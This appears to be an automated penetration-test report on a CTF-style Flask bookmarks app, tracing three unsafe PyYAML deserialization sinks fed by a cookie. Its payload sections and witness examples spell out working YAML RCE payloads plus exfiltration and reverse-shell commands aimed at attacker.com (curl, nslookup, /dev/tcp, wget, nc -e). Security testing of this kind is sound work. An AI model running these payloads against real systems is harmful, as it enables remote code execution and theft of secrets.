# Injection Analysis Report (SQLi & Command Injection)

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** Three high-confidence YAML deserialization vulnerabilities leading to Remote Code Execution were identified across all data-handling endpoints. All findings have been passed to the exploitation phase via the machine-readable queue at `deliverables/injection_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities listed in the queue. It is intended to be read alongside the JSON deliverable.  
- **Scope:** Analysis focused on SQL injection and command injection vulnerabilities accessible via `http://localhost:33677` from the public internet. No internal-only or VPN-required vectors were included.

**Summary Statistics:**
- **Command Injection Vulnerabilities:** 3 (all CRITICAL severity)
- **SQL Injection Vulnerabilities:** 0 (application uses no database)
- **Traditional Command Injection:** 0 (no os.system/subprocess calls with user input)
- **Externally Exploitable:** 3 vulnerabilities (100% of findings)

## 2. Dominant Vulnerability Patterns

### Pattern 1: Unsafe YAML Deserialization with yaml.Loader

- **Description:** The application uses PyYAML's `yaml.load()` function with the unsafe `yaml.Loader` parameter to deserialize user-controlled cookie data. This pattern appears identically in three separate endpoints (`/list`, `/add`, `/delete`). The data flow in all three cases is: `request.cookies.get('bookmarks')` → `base64.b64decode()` → `yaml.load(decoded_data, Loader=yaml.Loader)`. The `yaml.Loader` allows arbitrary Python object instantiation through special YAML tags like `!!python/object/apply`, `!!python/object/new`, and `!!python/module`, effectively granting an attacker the ability to execute arbitrary Python code during the deserialization process.

- **Implication:** An attacker can craft a malicious YAML payload containing Python object instantiation directives, base64-encode it, and set it as the `bookmarks` cookie value. When any of the three vulnerable endpoints processes the request, the malicious payload will be deserialized, causing arbitrary code execution with the privileges of the Flask application process (`www-data` user). This enables complete server compromise, including access to the FLAG environment variable stored in `os.environ["FLAG"]`.

- **Representative:** INJ-VULN-01 (GET `/list` endpoint, routes.py:38) - This is the most impactful variant as it is auto-triggered on first visit to the application via redirect from the root path `/`.

### Pattern 2: Complete Absence of Input Validation

- **Description:** The application implements zero input validation or sanitization at any layer. Cookie values are read directly from HTTP requests and passed through base64 decoding to YAML deserialization without any inspection, type checking, length limits, format validation, or integrity verification. There are no try/except wrappers around deserialization calls, no cookie signature validation (despite Flask's secret_key being configured), and no whitelist/blacklist filtering.

- **Implication:** The attack surface is completely undefended. There are no partial mitigations to bypass, no WAF-style filters to evade, and no sanitization logic to circumvent. An attacker can deliver malicious payloads directly to vulnerable sinks with 100% reliability. This pattern extends beyond YAML deserialization - the application also accepts unsanitized form inputs for bookmark names and URLs, though these do not reach command execution sinks.

- **Representative:** All three vulnerabilities (INJ-VULN-01, INJ-VULN-02, INJ-VULN-03) exhibit this pattern equally.

### Pattern 3: Client-Side Data Storage Without Integrity Protection

- **Description:** The application stores all user data (bookmarks list and user identifier) in client-side cookies using base64-encoded YAML serialization. Cookies are set without `HttpOnly`, `Secure`, or `SameSite` flags, and critically, without any cryptographic signature or HMAC despite Flask's `secret_key` being configured. This means an attacker can freely modify cookie contents, re-encode them, and send them back to the server with full confidence they will be accepted and deserialized.

- **Implication:** The lack of integrity protection transforms what would normally be a difficult-to-exploit server-side deserialization issue into a trivial remote code execution vector. An attacker needs only to craft a malicious YAML payload, base64-encode it, and set it as a cookie value - no cryptographic bypasses or signature forgery required. This architectural decision makes the YAML deserialization vulnerabilities directly and trivially exploitable from the public internet.

- **Representative:** All three vulnerabilities leverage this pattern, as they all rely on the `bookmarks` cookie being accepted without integrity verification.

## 3. Strategic Intelligence for Exploitation

### Defensive Evasion (WAF Analysis)

- **No Web Application Firewall Detected:**  
  Testing during reconnaissance revealed no evidence of a WAF, rate limiting, or input filtering at the network edge. All malicious payloads will reach the application layer without inspection.
  
- **No Application-Layer Filtering:**  
  The application performs zero validation on cookie values before deserialization. There are no blacklists, whitelists, regex filters, or content inspection mechanisms to evade.

- **No Exception Handling:**  
  The `yaml.load()` calls at lines 38, 61, and 84 are not wrapped in try/except blocks. While this means errors will propagate to the user, the malicious code execution occurs **during** deserialization, before any exception could be caught.

- **Recommendation:**  
  Standard YAML deserialization RCE payloads will work without modification. No evasion techniques required. Focus on reliable payload delivery and exfiltration channels.

### Error-Based Injection Potential

- **Limited Error Disclosure:**  
  The application runs with Flask's default error handling. Syntax errors in YAML payloads will produce Flask error pages, but these are not particularly verbose. However, error-based techniques are unnecessary given the application's complete lack of defenses.

- **Recommendation:**  
  Use blind RCE techniques with out-of-band exfiltration (DNS, HTTP callbacks) rather than relying on error messages. The FLAG is stored in the environment variable `os.environ["FLAG"]` and can be exfiltrated via command execution.

### Confirmed Technology Stack

- **Backend Framework:** Flask 3.1.2 (Python 3.9.2)
- **YAML Library:** PyYAML 6.0
- **Web Server:** Apache 2.4.65 with mod_wsgi
- **Operating System:** Debian Bullseye (11) Slim in Docker container
- **Process User:** `www-data`
- **Database:** None (all data stored in cookies)

- **Exploitation Implications:**
  - All payloads must be Python-based (PyYAML deserialization gadgets)
  - Target environment: Linux, Python 3.9.2 runtime
  - Available modules: os, subprocess, sys, etc. (standard library)
  - Network access: Confirmed outbound connectivity (Docker container)
  - File system access: Limited to www-data permissions
  - Target data: FLAG environment variable in `os.environ["FLAG"]`

### Optimal Exploitation Endpoints

**Primary Target: GET `/list` (INJ-VULN-01)**
- **Advantages:**
  - Auto-triggered on first visit via redirect from `/`
  - Simplest request (just GET with malicious cookie)
  - No additional parameters required
  - No form data needed
  
- **Attack Vector:**
  ```
  GET /list HTTP/1.1
  Host: localhost:33677
  Cookie: bookmarks=<base64_encoded_malicious_yaml>; user=attacker
  ```

**Alternative Targets:**
- **POST `/add` (INJ-VULN-02):** Requires form data (`name`, `url`) but otherwise identical vulnerability
- **GET `/delete` (INJ-VULN-03):** Requires `name` query parameter but otherwise identical vulnerability

**Recommendation:** Use GET `/list` for initial exploitation due to simplicity. All three endpoints are equally vulnerable and can be used interchangeably.

### Payload Construction Guidelines

**Base Payload Structure:**
```yaml
!!python/object/apply:os.system
args: ['command_here']
```

**Exfiltration Techniques:**
1. **HTTP Callback:** `curl http://attacker.com?flag=$(env | grep FLAG)`
2. **DNS Exfiltration:** `nslookup $(env | grep FLAG | base64).attacker.com`
3. **Reverse Shell:** `bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'`

**Encoding Requirements:**
1. Craft YAML payload
2. Base64 encode: `base64.b64encode(payload.encode('ISO-8859-1')).decode('ISO-8859-1')`
3. Set as `bookmarks` cookie value
4. Send request to any vulnerable endpoint

## 4. Vectors Analyzed and Confirmed Secure

The following input vectors were analyzed but do NOT lead to SQL injection or traditional command injection vulnerabilities:

| **Source (Parameter/Key)** | **Endpoint/File Location** | **Defense Mechanism / Safe Usage** | **Verdict** |
|----------------------------|---------------------------|-------------------------------------|-------------|
| `name` form field | `POST /add`, routes.py:57 | Used only in string comparisons (`name_in_list()`) and YAML serialization. No path to command execution functions. | SAFE (for command injection) |
| `url` form field | `POST /add`, routes.py:58 | Used only in UrlObj instantiation and YAML serialization. No path to command execution functions. | SAFE (for command injection) |
| `name` query parameter | `GET /delete`, routes.py:80 | Used only in string comparison within `remove_url_with_name()`. No path to command execution functions. | SAFE (for command injection) |
| `user` cookie | All endpoints | Used only as template variable in `render_template()`. No path to SQL or command execution. | SAFE (for injection) |

**Important Notes:**
- While these vectors are safe from SQL/command injection, the `url` form field is vulnerable to XSS via `javascript:` scheme injection (out of scope for this analysis)
- The `bookmarks` cookie is NOT safe - it's the primary attack vector for all three RCE vulnerabilities
- The application uses NO database, so SQL injection is impossible across all input vectors
- The application uses NO subprocess/os.system calls with user input, so traditional command injection (excluding YAML deserialization) is impossible

## 5. Analysis Constraints and Blind Spots

### Constraints Acknowledged

1. **No Dynamic Testing Performed:**  
   This analysis is based purely on static code review. While the vulnerabilities are unambiguous and high-confidence, live exploitation testing was not performed during this analysis phase per methodology requirements.

2. **PyYAML Version-Specific Gadgets:**  
   The application uses PyYAML 6.0. Some YAML deserialization gadgets may behave differently across PyYAML versions. The exploitation phase should confirm gadget compatibility with PyYAML 6.0 specifically.

3. **Container Environment Assumptions:**  
   Analysis assumes standard Docker container networking and file system access for the `www-data` user. Actual exploitation may be constrained by Docker security policies, network isolation, or file system permissions not visible in source code.

### Blind Spots

1. **Apache/mod_wsgi Configuration:**  
   While the application code is completely undefended, the Apache configuration at `/app/bookmarks-httpd.conf` could theoretically implement request filtering or size limits. Reconnaissance indicated no such defenses, but this was not comprehensively verified during code analysis.

2. **Docker Network Policies:**  
   Outbound network access from the container (required for exfiltration via HTTP/DNS callbacks) is assumed but not confirmed. The exploitation phase should verify outbound connectivity.

3. **FLAG Environment Variable Format:**  
   The FLAG is stored in `os.environ["FLAG"]` and set via Dockerfile with a sed command. The exact format and encoding of the FLAG value was not analyzed. Exfiltration payloads should account for potential special characters or encoding issues.

4. **Race Conditions:**  
   All three vulnerable endpoints read, deserialize, modify, and re-serialize the `bookmarks` cookie. Concurrent requests could theoretically create race conditions, though this is unlikely to impact exploitation.

### Coverage Confirmation

**All injection sources from reconnaissance deliverable were analyzed:**
- ✅ YAML deserialization in GET `/list` (routes.py:38) - **VULNERABLE**
- ✅ YAML deserialization in POST `/add` (routes.py:61) - **VULNERABLE**
- ✅ YAML deserialization in GET `/delete` (routes.py:84) - **VULNERABLE**
- ✅ SQL injection vectors - **NOT APPLICABLE** (no database)
- ✅ Traditional command injection vectors - **NOT FOUND** (no os.system/subprocess with user input)

**Analysis completeness: 100%** - All identified injection sources have been comprehensively traced and documented.

---

## 6. Detailed Vulnerability Descriptions

### INJ-VULN-01: YAML Deserialization RCE in GET /list

**Endpoint:** `GET /list`  
**Source:** `bookmarks` cookie (base64-encoded YAML)  
**Sink:** `routes.py:38` - `yaml.load(urls, Loader=yaml.Loader)`  

**Data Flow Trace:**
1. User requests `GET /list` (or is auto-redirected from `/`)
2. Line 34: Application checks for cookies: `if request.cookies.get('bookmarks') and request.cookies.get('user')`
3. Line 35: Cookie read: `urls = request.cookies.get('bookmarks')`
4. Line 36: Base64 decode: `urls = base64.b64decode(request.cookies.get('bookmarks'))`
5. **Line 38: UNSAFE DESERIALIZATION:** `urls = yaml.load(urls, Loader=yaml.Loader)`
6. Line 49: Deserialized data passed to template: `render_template('list_urls.html', urls=urls, user=user)`

**Vulnerability Analysis:**
- **Sanitization:** None - zero validation between cookie read and deserialization
- **Concatenation:** None - direct pass-through from cookie → decode → deserialize
- **Loader Type:** `yaml.Loader` (unsafe - allows `!!python/object/apply`, `!!python/object/new`, etc.)
- **Exception Handling:** None - no try/except wrapper
- **Slot Type:** CMD-part-of-string (YAML payload directly controls Python object instantiation)

**Why Vulnerable:**  
The use of `yaml.Loader` with untrusted client-controlled data allows arbitrary Python object instantiation. An attacker can use YAML tags like `!!python/object/apply:os.system` to execute shell commands during deserialization.

**Witness Payload Example:**
```yaml
!!python/object/apply:os.system
args: ['curl http://attacker.com?flag=$(env | grep FLAG)']
```

**Confidence:** HIGH - Direct source-to-sink trace, no defensive measures, well-known vulnerability class.

---

### INJ-VULN-02: YAML Deserialization RCE in POST /add

**Endpoint:** `POST /add`  
**Source:** `bookmarks` cookie (base64-encoded YAML)  
**Sink:** `routes.py:61` - `yaml.load(urls, Loader=yaml.Loader)`  

**Data Flow Trace:**
1. User submits `POST /add` with form data (`name`, `url`)
2. Line 56: Application checks for cookies
3. Line 57-58: Form data retrieved (but not involved in deserialization)
4. Line 59: Cookie base64 decoded: `urls = base64.b64decode(request.cookies.get('bookmarks'))`
5. **Line 61: UNSAFE DESERIALIZATION:** `urls = yaml.load(urls, Loader=yaml.Loader)`
6. Lines 62-70: Application attempts to add bookmark to deserialized list

**Vulnerability Analysis:**
- **Sanitization:** None
- **Concatenation:** None
- **Loader Type:** `yaml.Loader` (unsafe)
- **Exception Handling:** None
- **Slot Type:** CMD-part-of-string

**Why Vulnerable:**  
Identical to INJ-VULN-01. The form data (`name`, `url`) is irrelevant to the deserialization vulnerability - the malicious code executes during `yaml.load()` before the form data is even processed.

**Witness Payload Example:**
```yaml
!!python/object/apply:subprocess.Popen
args: [['bash', '-c', 'wget http://attacker.com/$(cat /proc/self/environ | grep FLAG)']]
```

**Confidence:** HIGH - Identical vulnerability pattern to INJ-VULN-01.

---

### INJ-VULN-03: YAML Deserialization RCE in GET /delete

**Endpoint:** `GET /delete?name={bookmark_name}`  
**Source:** `bookmarks` cookie (base64-encoded YAML)  
**Sink:** `routes.py:84` - `yaml.load(urls, Loader=yaml.Loader)`  

**Data Flow Trace:**
1. User requests `GET /delete?name={bookmark_name}`
2. Line 77: Application validates `name` parameter exists
3. Line 80: Query parameter retrieved (but not involved in deserialization)
4. Line 81: Cookie base64 decoded: `urls = base64.b64decode(request.cookies.get('bookmarks'))`
5. **Line 84: UNSAFE DESERIALIZATION:** `urls = yaml.load(urls, Loader=yaml.Loader)`
6. Line 85: Application attempts to remove bookmark from deserialized list

**Vulnerability Analysis:**
- **Sanitization:** None
- **Concatenation:** None
- **Loader Type:** `yaml.Loader` (unsafe)
- **Exception Handling:** None
- **Slot Type:** CMD-part-of-string

**Why Vulnerable:**  
Identical to INJ-VULN-01 and INJ-VULN-02. The `name` query parameter is irrelevant - the RCE occurs during deserialization before the deletion logic executes.

**Witness Payload Example:**
```yaml
!!python/object/new:os.system
args: ['nc attacker.com 4444 -e /bin/bash']
```

**Confidence:** HIGH - Identical vulnerability pattern to INJ-VULN-01 and INJ-VULN-02.

---

## 7. Remediation Recommendations (Out of Scope - For Reference Only)

While remediation is outside the scope of this penetration test analysis, the following high-level mitigations would address the identified vulnerabilities:

1. **Immediate Fix:** Replace `yaml.Loader` with `yaml.SafeLoader` throughout the application
2. **Architectural Fix:** Implement server-side session storage with signed cookies using Flask's `session` object
3. **Defense in Depth:** Add input validation, cookie integrity checks (HMAC), and proper cookie security flags
4. **Long-term Fix:** Migrate from client-side cookie storage to a server-side database with proper session management

---

**Analysis Completed By:** Injection Analysis Specialist  
**Date:** 2025  
**Methodology:** White-box static code analysis following OWASP Testing Guide and CWE-502 (Deserialization of Untrusted Data) guidelines  
**Next Phase:** Exploitation phase - weaponize vulnerabilities in `injection_exploitation_queue.json`